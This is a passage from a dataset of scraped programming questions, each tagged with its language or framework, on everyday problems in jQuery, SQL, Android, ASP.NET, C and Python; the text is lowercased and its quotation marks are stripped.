                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492992000000
                    severity :  informational 
                    createdbyme :  y 
                    notificationsubject :  eo 
                    notificationdetails :  lorem ipsum is simply dummy text of the printing 
     }
           {
                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492992000000
                    severity :  informational 
                    createdbyme :  y 
                    notificationsubject :  late sales orders 
                    notificationdetails :  it has survived not only five centuries 
     }
           {
                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492992000000
                    severity :  informational 
                    createdbyme :  y 
                    notificationsubject :  late purchase orders 
                    notificationdetails :  it was popularised in the 1960s with  
     }
           {
                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492992000000
                    severity :  informational 
                    createdbyme :  y 
                    notificationsubject :  demand 
                    notificationdetails :  it was popularised in the 1960s with the release of letraset sheets containing  
     }
           {
                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492992000000
                    severity :  informational 
                    createdbyme :  y 
                    notificationsubject :  spend 
                    notificationdetails :  more recently with desktop publishing software like aldus pagemaker including versions of lorem ipsum. 
     }
           {
                  alertraiseduserid : 1215
                    source : 1
                    clienttimestamp : 1492992000000
                    severity :  informational 
                    createdbyme :  y 
                    notificationsubject :  inventory 
                    notificationdetails :  it was popularised in the 1960s with the release of letraset  
     }
     ]
     }
 }]);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html ng-app= myapp &gt;
 
 &lt;head&gt; &lt;/head&gt;
 
 &lt;body ng-controller= myctrl &gt;
     &lt;div&gt; 1. div (display dosminus)&lt;/div&gt;
     &lt;div&gt; 2. div (display dos....etc)&lt;/div&gt;
 &lt;/body&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>",angularjs
is it a good practice to parse doc string   i have some python methods with instructions. for example  parameter combinations to be tested. in a count-part of my code  i use a parser for the doc-string of the function that i use so that a configuration file is no longer needed. the information i need are solely contained in the functions doc string. i wonder if this is a good and common practice in industry      update: i have a long list of experiments to do  represented by functions. for each function  i have some test cases (different for different functions). when i create the function  the test cases are defined. i put them in the doc string and parse them when i do the test.   <pre><code>def my_function1(param1 param2)        param1: 10  20  40  60; param2: 5  10  20  40;         return something    def my_function2(param1 param2 param3)        param1: 10  20  40  60; param2: 5  10  20  40; param3: 100  200        return something   . . . </code></pre>   it is convenient to me in this case to save the test cases into doc string not separately. but i am not sure parsing a doc string is a safe practice.,python
updating an input value with jquery  i have a form with a few fields  one of which should be updated based on the value of another.  the value of the first is posted to another url  and the returned value should be used to fill the second field.  here s the code:   <pre><code>&lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js &gt;&lt;/script&gt;     &lt;script&gt;             function lookup(rid) {                     $.get( /handler rid=  + $( input#rid ).val()  function(update_rid){                         $( #name ).val(html(update_rid));                     })                 }     &lt;/script&gt;         &lt;form name= new_alert &gt;             &lt;input type= text  name= rid  id= rid  onkeyup= lookup(this.value); &gt;             &lt;br /&gt;             &lt;input type= text  name= name  id= name &gt;           &lt;/form&gt; </code></pre>   the post works fine  and the correct data is returned from /hander  which i confirmed by making a test  and filling it using $( #testdiv ).html(update_rid);    so it seems like the problem is in the way i m trying to update the value  but i can t get past that.,jquery
how i can access particular object of an image on touching that object  i am using an imageview and want to access particular object of an image  however in an image on imageview contains many objects . after touching particular object  that whole object must be reflect on another imagview.,objective-c
get the sum of two table group by date in year  i m making a donation report  i have two tables tbldonation and tblpubdonation i want to get their sum group by year.   <pre><code>tbldonation: amount      |      received 100         :      2016-01-02 08:42:20 100         :      2015-12-01 09:20:00  tblpubdonation: amount      |      received 100         :      2015-12-22 09:20:00 </code></pre>   my query is :   <pre><code>select * from (     (select year(received) as yy  sum(amount) as amt from tbldonation)     union all     (select year(received) as yy  sum(amount) as amt from tblpubdonation) ) results where results.yy &lt;= curdate() group by results.yy order by results.yy desc </code></pre>   i m getting a result but it s not accurate. it should be   <pre><code>yy        |       amt 2016      :       100 2015      :       200 </code></pre>   but my result is:   <pre><code>yy        |       amt 2016      :       200 2015      :       100 </code></pre>   the value is misplaced.,mysql
randomaccessfile in android raw resource file  i tried to create a randomaccessfile object from a raw resource file in android resource directory without success.     i m only able to get a inputstream object from raw resource file.   <pre><code>getresources().openrawresource(r.raw.file); </code></pre>   is it possible to create a randomaccessfile object from raw asset file or do i need to stick with inputstream,android
set controltovalidate of customvalidator in page for a textbox inside usercontrol to display message with validatorcalloutextender  i have a page in asp.net and usercontrol that i register in this page.    the user control contain a texbox  ajax calendarextender and rangevalidator who valid the date in the textbox.   <pre><code>&lt;%@ control language= c#  autoeventwireup= true  codebehind= datepicker.ascx.cs  inherits= root_webspace.webcontrols.datepicker  %&gt;   &lt;table&gt; &lt;tr&gt;     &lt;td  &gt;         &lt;asp:rangevalidator id= rvdate  runat= server  text= !  errormessage= message...  controltovalidate= txtdate              type= date  &gt;&lt;/asp:rangevalidator&gt;         &lt;ajx:validatorcalloutextender id= vcalsaledaterange  runat= server  targetcontrolid= rvdate &gt;                                     &lt;/ajx:validatorcalloutextender&gt;     &lt;/td&gt;     &lt;td &gt;         &lt;asp:textbox id= txtdate    runat= server &gt;&lt;/asp:textbox&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;asp:imagebutton id= imgbtndate  runat= server  causesvalidation= false  imageurl= ~/app_themes/default/images/icon-calendar.gif  /&gt;         &lt;ajx:calendarextender id= cextdate   runat= server  popupbuttonid= imgbtndate                                          targetcontrolid= txtdate &gt;         &lt;/ajx:calendarextender&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   code behind:   <pre><code>public textbox txtdate     {         get { return txtdate; }     } </code></pre>   the page contains this user control and customvalidator. with this customvalidator   i want to set his controltovalidate to usercontrol textdate.   <pre><code>&lt;%@ page title=   language= c#  masterpagefile= ~/masterpages/default.master  autoeventwireup= true  codebehind= test.aspx.cs  inherits= root_webspace.test  uiculture= auto  culture= auto  async= true  %&gt;  &lt;%@ register src= ~/webcontrols/datepicker.ascx  tagname= datepicker  tagprefix= uc1  %&gt; &lt;asp:content id= content1  contentplaceholderid= head  runat= server &gt; &lt;/asp:content&gt; &lt;asp:content id= content2  contentplaceholderid= contentplaceholder1  runat= server &gt;  &lt;asp:updatepanel id= updatepanel1  runat= server  updatemode= conditional &gt;     &lt;triggers&gt;         &lt;asp:asyncpostbacktrigger controlid= btnsend  eventname= click  /&gt;         &lt;asp:asyncpostbacktrigger controlid= btncancel  eventname= click  /&gt;     &lt;/triggers&gt;     &lt;contenttemplate&gt;         &lt;div&gt;             &lt;asp:customvalidator id= cvaldate  runat= server  controltovalidate= how to set with usercontrol txtdate                        display= dynamic  text= !  onservervalidate= cvaldate_servervalidate  validateemptytext= true &gt; &lt;/asp:customvalidator&gt;             &lt;ajx:validatorcalloutextender id= vcaldatebris  runat= server  targetcontrolid= cvaldate &gt;             &lt;/ajx:validatorcalloutextender&gt;             &lt;uc1:datepicker id= fromdatepicker  runat= server  /&gt;         &lt;/div&gt;           &lt;/contenttemplate&gt; &lt;/asp:updatepanel&gt; &lt;div&gt;     &lt;div class= buttonzone &gt;         &lt;div id= idbuttons  style= margin-right: 5px; &gt;             &lt;asp:button id= btnsend  runat= server  tabindex= 10  text= send  width= 85px  meta:resourcekey= btnsend                  onclick= btnsend_click  /&gt;             &lt;asp:button id= btncancel  runat= server  causesvalidation= false  tabindex= 11                  text= cancel  onclick= btncancel_click  width= 85px  meta:resourcekey= btncancel  /&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;/asp:content&gt; </code></pre>   code behind   <pre><code>    protected void btnsend_click(object sender  eventargs e)     {         if (page.isvalid)         {             //do something         }     }      protected void cvaldate_servervalidate(object source  servervalidateeventargs args)     {         cvaldate.errormessage = string.empty;         args.isvalid = true;         if (!isdate(this.fromdatepicker.txtdate.text))             cvaldate.errormessage = root.resources.webmessages.invaliddate;         else if (!string.isnullorempty(fromdatepicker.txtdate.text) &amp;&amp; datetime.parse(fromdatepicker.txtdate.text) &gt; datetime.now)             cvaldate.errormessage = root.resources.webmessages.biggerthan;           args.isvalid = string.isnullorempty(cvaldate.errormessage);     }      protected void page_load(object sender  eventargs e)     {         if (!page.ispostback)         {             cvaldate.controltovalidate = fromdatepicker.txtdate.id;         }     } </code></pre>   error => innerexception type : system.web.httpexception unable to find control id  txtdate  referenced by the  controltovalidate  property of  cvaldate .    when i change to that : cvaldate.controltovalidate = fromdatepicker.txtdate.clientid;    error=> innerexception type : system.web.httpexception unable to find control id  ctl00_contentplaceholder1_fromdatepicker_txtdate  referenced by the  controltovalidate  property of  cvaldate .    if i don’t set the cvaldate.controltovalidate  the vcaldatebris (validatorcalloutextender) will fail when it have to display the invalid date msg  because this validatorcalloutextender link to customvalidator by targetcontrolid where customvalidator does not have controltovalidate control set. so how can i set controltovalidate of customvalidator in page to txtdate who is inside fromdatepicker (usercontrol)  for display message inside validatorcalloutextender.    any idea     regards.,asp.net
displaying mp3 files from all folders and subfolders present in sd card  i am trying to set a ring tone for my alarm application. for this i need to display all songs with .mp3 extension present in various folders and sub folders in sd card.    i want only the .mp3 files to be displayed and not any of the folders/ sub folders. i already have a coding where songs are displayed from sd card and not from within the sub folders.  all coding given retrieve songs only from a specific folder which i dont need. i need every mp3 song that exists in sd card.   <pre><code>public class mp3filteractivity extends activity{     final string media_path = new string( /sdcard/ );      public void oncreate(bundle savedinstancestate){          super.oncreate(savedinstancestate);          setcontentview(r.layout.main);          listview listsong =(listview)findviewbyid(r.id.songlist);          arraylist&lt;string&gt; mp3list = new arraylist&lt;string&gt;();         mp3list=mp3select();         toast.maketext(this   mp3files  +mp3list  toast.length_long).show();         arrayadapter&lt;string&gt; listadapter=new arrayadapter&lt;string&gt;(mp3filteractivity.this android.r.layout.simple_list_item_1 mp3list);         listsong.setadapter(listadapter);      }      public arraylist&lt;string&gt; mp3select(){         file home = new file(media_path);         arraylist&lt;string&gt; list = new arraylist&lt;string&gt;();         //if (home.isdirectory())          if (home.listfiles(new fileextensionfilter()).length &gt; 0)          {             for (file file : home.listfiles(new fileextensionfilter()))              {                    list.add(file.getname().substring(0  (file.getname().length() - 4)));                         }         }         return list;     }      class fileextensionfilter implements filenamefilter      {         public boolean accept(file dir  string name) {             return (name.endswith( .mp3 ) ||name.endswith( .mp3 ));         }     } } </code></pre>,android
strike tag issue in firefox versus ie/chrome  i have been given some html that look like this (i have no control over the html):   <pre><code>&lt;p&gt;some text&lt;/p&gt; &lt;strike&gt;   &lt;p&gt;this is some text&lt;/p&gt; &lt;/strike&gt; &lt;p&gt;more text&lt;/p&gt; </code></pre>   the text shows as strikeout in both ie and chrome  but not in firefox. i have added <code>display:inline-block</code> to the <code>&lt;p&gt;</code> tag which fixes firefox but then breaks ie and chrome.    is there a solution to this which will work in all three browsers and does not involve changing the html,html
why results of two queries are different  <pre><code>select distinct id  title  takes.course_id from course join takes      on course.course_id = takes.course_id where takes.course_id in  (select takes.course_id from takes where id =  10204 ); </code></pre>  <hr>  <pre><code>select id  title  takes.course_id from course join takes      on course.course_id = takes.course_id where id =  10204 ; </code></pre>   i want to query the course ids and the titles of the courses that a student whose id is 10204 takes. the first gives a result with 5000 rows which is incorrect. the second give a correct result. so what is wrong with the first,sql
how to convert four byte array to float in objective c   i have four byte array and i like to convert to float in objective c. i tried three approaches and not sure what is the right approach.    what i tried are   <pre><code>        unsigned char *bytearray = (unsigned char *)calloc(4  sizeof(unsigned char));         bytearray[0] = golfresult[i]; bytearray[1] = golfresult[i+1]; bytearray[2] = golfresult[i+2]; bytearray[3] = golfresult[i+3];      method 1          float result = [[nsnumber numberwithunsignedchar:*bytearray] floatvalue];      method 2          float result = (float)((bytearray[3] &lt;&lt; 24) | (bytearray[2] &lt;&lt; 16) | (bytearray[1] &lt;&lt; 8) | bytearray[0]);      method 3         float result = (float)((bytearray[0] &lt;&lt; 24) | (bytearray[1] &lt;&lt; 16) | (bytearray[2] &lt;&lt; 8) | bytearray[3]); </code></pre>   what could be the correct method,objective-c
convert associative array elements to object only  my array   <pre><code>$arr = array(    name  =&gt;  prakash      tall  =&gt;  maybe      nick_names  =&gt; array ( p    b    bee    prak    new_names  =&gt; array( short_name  =&gt;    sn    long_name  =&gt;  ln )) ); </code></pre>   i want to be able to create an object from which the values can be accessed via attributes.    e.g.   <pre><code> $obj-&gt;name //  prakash   $obj-&gt;nick_names // array( p    b    bee    prak    new_names  =&gt; (object)) </code></pre>   how could i get this      i seem to able to accomplish exactly what i need through   <pre><code>$obj = json_decode(json_encode($arr)); </code></pre>   but obviously that is not the right thing to do.    thanks.,php
what should i do with form inputs  values when i hide the inputs   these fields are hidden correctly  but what is the best way of setting the hidden field values.   <pre><code>$j.registertype = {        : $j([])       srotc_cadet  : $j( #vm_schoolstate_divcontainer #vm_srotcschool_divcontainer #vm_mslevel_divcontainer )       srotc_intructor  : $j( #vm_schoolstate_divcontainer #vm_srotcschool_divcontainer )       jrotc_cadet  : $j( #vm_highschool_divcontainer #vm_highschoolstate_divcontainer #vm_highschoolcity_divcontainer )   };    $j( #vm_registertype ).change(function() {     // hide all     $j.each($j.registertype  function() { this.hide(); });     // show current     $j.registertype[$j(this).val()].show();   }).change();     $j( #vm_registertype ).change(function() {       var regtype =  $j( #vm_registertype ).val();       switch (regtype) {        case  srotc_type :           $j( #vm_highschool_field #vm_highschoolstate_field #vm_highschoolcity_field ).val( does not apply );           break;           }        }).change(); </code></pre>  <hr>   i just notice the  srotc_type  error. changed it but the code still doesn t work....,jquery
jquery marking values less than selected value as checked  i have numerous checkboxes that are prices and what i ve tried to do is the following    when someone selects a prices/checkbox  it will automatically check the values that are less than the selected value.    <a href= http://jsfiddle.net/ppw5z/1/  rel= nofollow >jsfiddle</a>    <strong>html</strong>   <pre><code>&lt;div class= prices &gt;     &lt;input type= checkbox  value= 59.99  /&gt;59.99     &lt;input type= checkbox  value= 69.99  /&gt;69.99     &lt;input type= checkbox  value= 79.99  /&gt;79.99     &lt;input type= checkbox  value= 89.99  /&gt;89.99     &lt;input type= checkbox  value= 99.99  /&gt;99.99     &lt;input type= checkbox  value= 124.99  /&gt;124.99     &lt;input type= checkbox  value= 149.99  /&gt;149.99     &lt;input type= checkbox  value= 199.99  /&gt;199.99     &lt;input type= checkbox  value= 200.00  /&gt;200.00 &lt;/div&gt; ​ </code></pre>   <strong>jquery</strong>   <pre><code>$( .prices input[type=checkbox] ).live( click   function (){      console.log(this);      $(this).attr( checked   true);      var chosenprice = $(this).val();      console.log(chosenprice);      $( .prices input ).filter(function(){       return  $(this).attr( value ) &lt;=chosenprice}).attr( checked   true); });​ </code></pre>   it selects some values but it doesn t seem to work as it should be. check out the fiddle,jquery
how to disable logging during the run of database migrations   i m running rails migrations every time i run the test suite (using in-memory sqlite database). how to turn off output from the migrations     example output   <pre><code>-- create_table( alerts   {:force=&gt;true})   -&gt; 0.0038s -- create_table( businesses   {:force=&gt;true})   -&gt; 0.0061s etc... </code></pre>,ruby-on-rails
load a thumbnail image if iframe doesn t load from url  i have an iframe that loads a map from cartodb.    <pre><code>&lt;iframe src= https://recology.cartodb.com/tables/condma_1_cleaned/embed_map  width= 900  height= 600 &gt;&lt;/iframe&gt; </code></pre>   this iframe is embedded in an html presentation.  when i am doing the presentation it s possible there won t be internet.  in that case  it would be nice if a screenshot of the map would load instead.      how can i get a screenshot of the map to load when loading the live version fails due to lack of internet access,html
how to display my list with n amount on each line in python  im trying to display my list with 7 states on each line here is what i have so far  but it displays as one long string of all the states with quotes around each state. i forgot to mention that this is for my cs class and we havent learned iter yet so we not allowed to use it. the only hint i was given was to to turn state_list into a string then use  \n  to break it up   <pre><code>state = str(state_list)  displaystates = text(point(window_width/2  window_height/2)  state.split( \n )) displaystates.draw(win) </code></pre>   and state_list looks like this   <pre><code>state_votes = {  al  : 9  # alabama  ak  : 3  # alaska  az  : 11  # arizona  ar  : 6  # arkansas  ca  : 55  # california  co  : 9  # colorado  ct  : 7  # connecticut  de  : 3  # delaware  dc  : 3  # washington dc  fl  : 29  # florida  ga  : 16  # georgia  hi  : 4  # hawaii  id  : 4  # idaho  il  : 20  # illinois  in  : 11  # indiana  ia  : 6  # iowa  ks  : 6  # kansas  ky  : 8  # kentucky  la  : 8  # louisiana  me  : 4  # maine  md  : 10  # maryland  ma  : 11  # massachusetts  mi  : 16  # michigan  mn  : 10  # minnesota  ms  : 6  # mississippi  mo  : 10  # missouri  mt  : 3  # montana  ne  : 5  # nebraska  nv  : 6  # nevada  nh  : 4  # new hampshire  nj  : 14  # new jersey  nm  : 5  # new mexico  ny  : 29  # new york  nc  : 15  # north carolina  nd  : 3  # north dakota  oh  : 18  # ohio  ok  : 7  # oklahoma  or  : 7  # oregon  pa  : 20  # pennsylvania  ri  : 4  # rhode island  sc  : 9  # south carolina  sd  : 3  # south dakota  tn  : 11  # tennessee  tx  : 38  # texas  ut  : 6  # utah  vt  : 3  # vermont  va  : 13  # virginia  wa  : 12  # washington  wv  : 5  # west virginia  wi  : 10  # wisconsin  wy  : 3 # wyoming }  state_list = sorted(list(state_votes.keys())) </code></pre>   i am trying to get it to look somewhat like this <img src= https://i.stack.imgur.com/tn2pr.jpg  alt= sample >,python
how to optimize my c code   i tried to implement c code for wavelet transform in fpga (zynq zc 702) but the code get stuck and this is because of memory problem so i should optimize my code but i don t know how.    can anyone please give me some ideas how to do that      this is the main of the code   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt; #include  wavemin.h  #include  waveaux.h  #include  waveaux.c  #include  wavemin.c   int main() {     printf( hello world1 \n\r );     wave_object obj;     wt_object wt;     float *inp  *out;     int n  i  j k;     float temp[1280] = {};     char *name =  db4 ;     obj = wave_init(name);      printf( hello world2 \n\r );     n = 1280;     inp = (float*)malloc(sizeof(float) * n);     out = (float*)malloc(sizeof(float) * n);      //wmean = mean(temp  n);     for (i = 0; i &lt; n; ++i) {         inp[i] = temp[i];          printf( hello world3 \n\r );         //printf( %g \n   inp[i]);     }      j = 4; //decomposition levels     wt = wt_init(obj   dwt   n  j);    // initialize the wavelet transform object     printf( hello world4 \n\r );     setdwtextension(wt   sym );       // options are  per  and  sym . symmetric  is the default option     printf( hello world5 \n\r );      setwtconv(wt   direct );     printf( hello world6 \n\r );     dwt(wt  inp);     // perform dwt     printf( hello world7 \n\r );      //getdwtappx(wt  out  wt-&gt;length[0]);     //  printf( approximation coefficients level 1 \n );     //   for (i = 0; i &lt; wt-&gt;length[0]; ++i) {     // printf( %g    out[i]);     //  }     // printf( \n\n );     for (k = 1; k &lt;= j; ++k) {         getdwtdetail(wt  out  wt-&gt;length[k]  k);         printf( detail coefficients level %d length %d \n                  k  wt - length[k]);         for (i = 0; i &lt; wt-&gt;length[k]; ++i) {             printf( %g    out[i]);         }         printf( \n\n );     }     wt_summary(wt);// prints the full summary.     printf( hello world8 \n\r );     wave_free(obj);     wt_free(wt);     free(inp);     free(out);      return 0; } </code></pre>   the other part of the code where there is the function used in the <code>main</code> function:   <pre><code>#include  wavemin.h   wave_object wave_init(char *wname) {     wave_object obj = null;     int retval;     retval = 0;      if (wname != null) {         retval = filtlength(wname);     }      obj = (wave_object)malloc(sizeof(struct wave_set) + sizeof(float) * 4 *                                retval);      obj-&gt;filtlength = retval;     obj-&gt;lpd_len = obj-&gt;hpd_len = obj-&gt;lpr_len = obj-&gt;hpr_len = obj-&gt;filtlength;     strcpy(obj-&gt;wname  wname);     if (wname != null) {         filtcoef(wname  obj-&gt;params  obj-&gt;params + retval  obj-&gt;params + 2 *                   retval  obj-&gt;params + 3 * retval);     }     obj-&gt;lpd = &amp;obj-&gt;params[0];     obj-&gt;hpd = &amp;obj-&gt;params[retval];     obj-&gt;lpr = &amp;obj-&gt;params[2 * retval];     obj-&gt;hpr = &amp;obj-&gt;params[3 * retval];      return obj; }  wt_object wt_init(wave_object wave  char *method  int siglength  int j) {     int size  i  maxiter;     wt_object obj = null;      size = wave-&gt;filtlength;      maxiter = wmaxiter(siglength  size);      if (!strcmp(method   dwt ) || !strcmp(method   dwt )) {         obj = (wt_object)malloc(sizeof(struct wt_set) + sizeof(float) *                                  (siglength + 2 * j * (size + 1)));         obj-&gt;outlength = siglength + 2 * j * (size + 1); // default         strcpy(obj-&gt;ext   sym ); // default     }      obj-&gt;wave = wave;     obj-&gt;siglength = siglength;     obj-&gt;j = j;     obj-&gt;maxiter = maxiter;     strcpy(obj-&gt;method  method);      if (siglength % 2 == 0) {         obj-&gt;even = 1;     }     else {         obj-&gt;even = 0;     }      strcpy(obj-&gt;cmethod   direct ); // default     obj-&gt;cfftset = 0;     obj-&gt;lenlength = j + 2;     obj-&gt;output = &amp;obj-&gt;params[0];     if (!strcmp(method   dwt ) || !strcmp(method   dwt )) {         for (i = 0; i &lt; siglength + 2 * j * (size + 1); ++i) {             obj-&gt;params[i] = 0.0;         }     }     //wave_summary(obj-&gt;wave);      return obj; }   static void dwt_sym(wt_object wt  float *inp  int n  float *ca  int len_ca                       float *cd  int len_cd) {     int i  l  t  len_avg;      len_avg = wt-&gt;wave-&gt;lpd_len;      for (i = 0; i &lt; len_ca; ++i) {         t = 2 * i + 1;         ca[i] = 0.0;         cd[i] = 0.0;         for (l = 0; l &lt; len_avg; ++l) {             if ((t - l) &gt;= 0 &amp;&amp; (t - l) &lt; n) {                 ca[i] += wt-&gt;wave-&gt;lpd[l] * inp[t - l];                 cd[i] += wt-&gt;wave-&gt;hpd[l] * inp[t - l];                 printf( world1 \n\r );             }             else if ((t - l) &lt; 0) {                 ca[i] += wt-&gt;wave-&gt;lpd[l] * inp[-t + l - 1];                 cd[i] += wt-&gt;wave-&gt;hpd[l] * inp[-t + l - 1];                 printf( world2 \n\r );             }             else if ((t - l) &gt;= n) {                 ca[i] += wt-&gt;wave-&gt;lpd[l] * inp[2 * n - t + l - 1];                 cd[i] += wt-&gt;wave-&gt;hpd[l] * inp[2 * n - t + l - 1];                  printf( world3 \n\r );             }         }     } }  void dwt(wt_object wt  float *inp) {     int i  j  temp_len  iter  n  lp;     int len_ca;     float *orig  *orig2;      temp_len = wt-&gt;siglength;     j = wt-&gt;j;     wt-&gt;length[j + 1] = temp_len;     wt-&gt;outlength = 0;     wt-&gt;zpad = 0;     orig = (float*)malloc(sizeof(float) * temp_len);     orig2 = (float*)malloc(sizeof(float) * temp_len);      for (i = 0; i &lt; wt-&gt;siglength; ++i) {         orig[i] = inp[i];         printf( hello1 \n\r );     }      if (wt-&gt;zpad == 1) {         orig[temp_len - 1] = orig[temp_len - 2];         printf( hello2 \n\r );     }      n = temp_len;     lp = wt-&gt;wave-&gt;lpd_len;      if (!strcmp(wt-&gt;ext   sym )) {         //printf( \n yes %s \n   wt-&gt;ext);         i = j;         while (i &gt; 0) {             n = n + lp - 2;             n = (int)ceil((float)n / 2.0);             wt-&gt;length[i] = n;             wt-&gt;outlength += wt-&gt;length[i];             i--;         }         wt-&gt;length[0] = wt-&gt;length[1];         wt-&gt;outlength += wt-&gt;length[0];         n = wt-&gt;outlength;         printf( hello3 \n\r );          for (iter = 0; iter &lt; j; ++iter) {             len_ca = wt-&gt;length[j - iter];             n -= len_ca;             dwt_sym(wt  orig  temp_len  orig2  len_ca  wt-&gt;params + n  len_ca);             temp_len = wt-&gt;length[j - iter];             printf( hello4 \n\r );              if (iter == j - 1) {                 for (i = 0; i &lt; len_ca; ++i) {                     wt-&gt;params[i] = orig2[i];                     printf( hello5 \n\r );                 }             } else {                 for (i = 0; i &lt; len_ca; ++i) {                     orig[i] = orig2[i];                     printf( hello6 \n\r );                 }             }         }     } else {         printf( signal extension can be either per or sym );         exit(-1);     }      free(orig);     free(orig2); }  void setdwtextension(wt_object wt  char *extension) {     if (!strcmp(extension   sym )) {         strcpy(wt-&gt;ext   sym );     } else {         printf( signal extension can be either per or sym );         exit(-1);     } }  void setwtconv(wt_object wt  char *cmethod) {     if (!strcmp(cmethod   direct )) {         strcpy(wt-&gt;cmethod   direct );     } }  void getdwtdetail(wt_object wt  float *detail  int n  int level) {     /*        returns detail coefficents at the jth level where j = 1 2 ..  j        and wavelet decomposition is stored as        [a(j) d(j) d(j-1) ..... d(1)] in wt-&gt;output vector        use getdwtappx() to get a(j)        level 1 : length of d(j)  ie n  is stored in wt-&gt;length[1]        level 2 :length of d(j-1)  ie n  is stored in wt-&gt;length[2]        ....        level j : length of d(1)  ie n  is stored in wt-&gt;length[j]      */     int i  iter  j;     j = wt-&gt;j;      if (level &gt; j) {         printf( the decomposition only has %d levels   j);     }      iter = wt-&gt;length[0];      for (i = 1; i &lt; level; ++i) {         iter += wt-&gt;length[i];     }      for (i = 0; i &lt; n; ++i) {         detail[i] = wt-&gt;output[i + iter];     } }  void getdwtappx(wt_object wt  float *appx  int n) {     /*        wavelet decomposition is stored as        [a(j) d(j) d(j-1) ..... d(1)] in wt-&gt;output vector         length of a(j)   n = wt-&gt;length[0]      */     int i;      for (i = 0; i &lt; n; ++i) {         appx[i] = wt-&gt;output[i];     } }  void wt_summary(wt_object wt) {     int i;     int j  t;     j = wt-&gt;j;      printf( wavelet coefficients are contained in vector : %s \n    output );     printf( \n );     printf( approximation coefficients \n );     printf( level %d access : output[%d] length : %d \n              1  0  wt-&gt;length[0]);     printf( \n );     printf( detail coefficients \n );     t = wt-&gt;length[0];     for (i = 0; i &lt; j; ++i) {         printf( level %d access : output[%d] length : %d \n                  i + 1  t  wt-&gt;length[i + 1]);         t += wt-&gt;length[i + 1];     }     printf( \n );  } void wave_free(wave_object object) {     free(object); }  void wt_free(wt_object object) {     free(object); } </code></pre>   <a href= https://i.stack.imgur.com/7trbl.png  rel= nofollow noreferrer >enter image description here</a>,c
what is the query for below scenario  the universal market corp. has organized its operations using the database schema described here. the customers listed are themselves retail businesses that order large quantities of various products from the universal market corp. for resale. distinct customers in the customers table are uniquely identified by values in the cid (customer identifier) column. customers call in the orders to agents (uniquely identified by the aid value in the agents table). each time an order is placed  a new row is inserted in the orders table  uniquely identified by an ordno value.    tables schema:-   <pre><code>customers (cid  cname  city  discount)  agents (aid  aname  city  percent)  products (pid  pname  city  quantity  price)  orders (ordno  month  cid  aid  pid  qty  dollars) </code></pre>   based on the schema shown above  answer the following queries.   <ol> <li>get pnames and pids of products that are stored in the same city as one of the agents who sold these products</li> <li>get pids of products ordered by all customers with any orders placed through agent ‘a03’</li> </ol>,sql
the call is ambiguous between the following methode or properties:  sgsclient.onsend(system.iasyncresult)  and sgsclient.onsend(system.iasyncresult)   the call is ambiguous between the following  methode or properties: <code> sgsclient.onsend(system.iasyncresult) </code> and <code>sgsclient.onsend(system.iasyncresult) </code>   <pre><code>clientsocket.beginsendto(bytedata  0  bytedata.length  socketflags.none  epserver   new asynccallback(onsend)  null); </code></pre>,c#
html 5  tags header  footer  aside  etc  hello everyone                  i have just started learning html 5 and i am bit confused about the tags like section aside footer header etc. browser does not seem to render it differently unless we provide some styling in css file.    so my question is what are the benefits of using these tags if we have to provide the styling manually  why not use the div instead of these tags we are using the manual styling in both the cases     thanks in advance,html
java:is it possible to name a collection   i was wanting to put my own unique identifier for my collection instances. hashcodes can uniquely identify a collection but that is not what i am looking for. something like this..   <pre><code>list&lt;integer&gt; classonestudentids = arrays.aslist(123 135); classonestudentids.name =  classone ; list&lt;integer&gt; classtwostudentids = arrays.aslist(145 138); classtwostudentids.name =  classtwo ; </code></pre>   it does not appear to be possible...    not very relevant when the code is non-recursive and the main program knows what the lists stand for. however  for recursive solutions  i can see it being helpful that the collection is able to identify itself based on what the programmer has named it.     for the following snippet for tower of hanoi solution  it would help to not have to use hashcode but rather a meaningful name relevant to the use case at hand..   <pre><code>   integer elem = pegone.removefirst();    system.out.println( move element   + elem +   from   +      pegone.hashcode());    pegthree.add(elem);    system.out.println(  to   + pegthree.hashcode()); </code></pre>   is there a way for a collection to identify itself,java
sql math issue during sum - works when removing either of the conditions  i m using ms sql  and here is my query...   <pre><code>select sum(quantity) from table1 where [item_no]= 0052556  and [qty_to_ship] &gt; 0 and [type] = 5 </code></pre>   interestingly  the query as it stands above returns  null ...however  if i remove either one of the last 2 conditions it works fine (returns a real number)    <strong>to clarify  these queries work fine</strong>:   <pre><code>select sum(quantity) from table1 where [item_no]= 0052556  and [type] = 5 </code></pre>   and   <pre><code>select sum(quantity) from table1 where [item_no]= 0052556  and [qty_to_ship] &gt; 0 </code></pre>   also note:  type  is a pk  int  not null    what might be causing this,sql
is it possible to get a delivery receipt for a remote push notification at the time of delivery   if a phone has turned off receipt of remote push notifications  or a push notification fails to be delivered  can the originator of the push get informed that it failed to be delivered     i know there is the feedback service available to query for failed delivery attempts  but that sounds like its a pull type feedback rather than something like a receipt sent for every push notification.    so suppose we sent push notifications to 100 000 devices  could we then connect to the feedback service and see which ones failed  how accurate is this  is there a time delay before feedback info is available,ios
how to make child views get  onpress  event from root view   i m used to the fact that items of listview without any problem (even with complicated layout) handle onpress events (some actions that makes it pressed and unpressed). but now i want the same from linearlayout - if you press anyway on layout  all descendants should get onpress events.    this is the part of my fragment layout  which should be highlighted onpress event.   <pre><code>&lt;linearlayout             android:id= @+id/ll_about_fragment_feedback              android:gravity= center_vertical              android:layout_height= 54dp              android:background= @drawable/about_item_bkg              android:layout_width= match_parent &gt;          &lt;imageview                 android:layout_height= wrap_content                  android:background= @drawable/about_item_feedback_icon                  android:layout_width= wrap_content                  android:layout_marginleft= 11dp /&gt;          &lt;textview                 android:layout_height= wrap_content                  android:layout_width= wrap_content                  android:text= @string/about_fragment_feedback                  android:layout_marginleft= 14dp                  android:textsize= 16dp                  android:textcolor= @drawable/about_item_textcolor /&gt;  &lt;/linearlayout&gt; </code></pre>   background of root layout changes onpress  but 